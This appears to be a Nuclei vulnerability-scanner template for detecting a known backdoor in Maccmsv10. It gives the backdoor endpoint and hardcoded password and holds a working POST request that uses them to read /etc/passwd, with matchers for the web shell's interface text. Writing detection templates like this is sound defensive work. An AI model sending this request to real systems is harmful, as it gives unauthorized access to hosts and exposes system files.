id: maccmsv10-backdoor

info:
  name: Maccmsv10 - Backdoor Remote Code Execution
  author: princechaddha
  severity: critical
  description: Maccmsv10 contains a backdoor which can be exploited by remote attackers. The backdoor is accessible via the '/index.php/bbs/index/download' endpoint and the special 'getpwd' parameter value of 'WorldFilledWithLove'. Exploitation of this vulnerability will allow remote attackers to execute code.
  reference:
    - https://github.com/chaitin/xray/blob/master/pocs/maccmsv10-backdoor.yml
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: maccmsv10,rce,backdoor,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1"

    body: "getpwd=WorldFilledWithLove"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "扫描后门"
          - "反弹端口"
          - "文件管理"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009179aa5e15bdc6a58832576cd2af5956039295933ec59a1ea76ee0e5e08203f702202062d354d456f7aea43171f097c947e22190ff46ab720d919babca80ea45e288:922c64590222798bb761d5b6d8e72950